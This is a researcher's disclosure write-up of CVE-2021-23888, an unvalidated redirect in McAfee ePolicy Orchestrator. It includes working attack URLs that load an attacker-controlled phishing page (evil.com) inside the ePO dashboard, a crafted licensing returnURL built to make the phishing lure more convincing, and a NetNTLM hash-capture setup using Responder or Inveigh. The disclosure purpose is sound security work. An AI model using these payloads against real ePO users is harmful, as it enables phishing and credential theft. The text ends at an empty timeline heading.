CVE-2021-23888 - McAfee ePolicy Orchestrator HTML Injection

Product: McAfee ePolicy Orchestrator (ePO) prior to 5.10 Update 10

Type: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards

Summary: Unvalidated client-side URL redirect vulnerability in McAfee ePolicy Orchestrator (ePO) prior to 5.10 Update 10 could cause an authenticated ePO user to load an untrusted site in an ePO IFRAME which could steal information from the authenticated user. This would require the attacker to convince the ePO user to click a malicious link whilst logged into the ePO server through the same browser they used to click the malicious link.

Introduction

On Purple Team internal assessments, I’m commonly tasked to test critical company infrastructure and software. On this occasion our team was tasked to test the McAfee ePolicy Orchestrator deployment used by our company.

During the assessment, I noticed the heavy use of postMessage and Websockets, but one particular thing stood out - the URL construction on the address bar.

This is what one can typically see on the browser address bar, when accessing a regular IP/URL of the McAfee ePolicy Orchestrator Dashboard:

https://epo-host:8443/core/orionNavigationLogin.do#/core/orionDefaultPage.do

The /core/orionDefaultPage.do fragment is actually just an HTTP endpoint and like many others, it will be rendered in an IFRAME right below the “Top Dashboard Control bar”, which itself will also be rendered in another IFRAME above.

After noticing this, the first thing I tried was to inject a simple Cross-Site Scripting payload and see what happened:

https://epo-host:8443/core/orionNavigationLogin.do#//javascript:alert(1))

However the web application correctly filtered the payload and many other payloads I fired at it.

I decided to inspect the Javascript code that was performing the filtering (unfortunately I completely forgot to take more screenshots to show here), and noticed that I could just do something like this:

https://epo-host:8443/core/orionNavigationLogin.do#//google.com

The Dashboard would now show the Google Search Page on the IFRAME below the “Top Dashboard Control bar” IFRAME. With this simple double slash payload one could “inject” any website on the Dashboard, and given the way the Dashboard would be presented to the user this would make for a very convincing Phishing attack and could also be used to perform an NetNTLM Hash Leak attack.

Phishing Scenario:

Given the regular IP/URL of the McAfee ePolicy Orchestrator: https://epo-host:8443/core/orionNavigationLogin.do#/core/orionDefaultPage.do

The attacker only needs to swap the endpoint after the hash (#) to a malicious domain/URL and send the URL to a user with access to the Dashboard: https://epo-host:8443/core/orionNavigationLogin.do#//evil.com/phish-page.php

The malicious domain must obviously not have the X-Frame-Options set to “DENY” or “SAMEORIGIN” in order for the domain to be loaded on an IFRAME, but since the attacker controls its own website, that is not really an issue.

For a more practical Phishing attack, a more convincing URL can constructed, leveraging the Dashboard Licensing Endpoint and its GET parameter returnURL.

This provides a better back story for the Phishing email (eg: licensing problems):

https://epo-host:8443/SoftwareMgmt/enterLicenseKey.do?returnURL=%2f..%2fcore%2forionNavigationLogin.do%23%2f%2fevil.com%2fphish-page.php

This link above will drop the targeted user on the Dashboard “License Key” Settings and after any action (Save or Cancel) performed by the user, he will be redirected to the Phishing page:

https://epo-host:8443/core/orionNavigationLogin.do#//evil.com/phish-page.php

Leak of an ePO user NetNTLM Hash Scenario (forgot to take screenshots again):

Point to the host running Responder or Inveigh and send the URL to a user with access to the Dashboard: https://epo-host:8443/core/orionNavigationLogin.do#//host-running-responder-or-inveigh

Timeline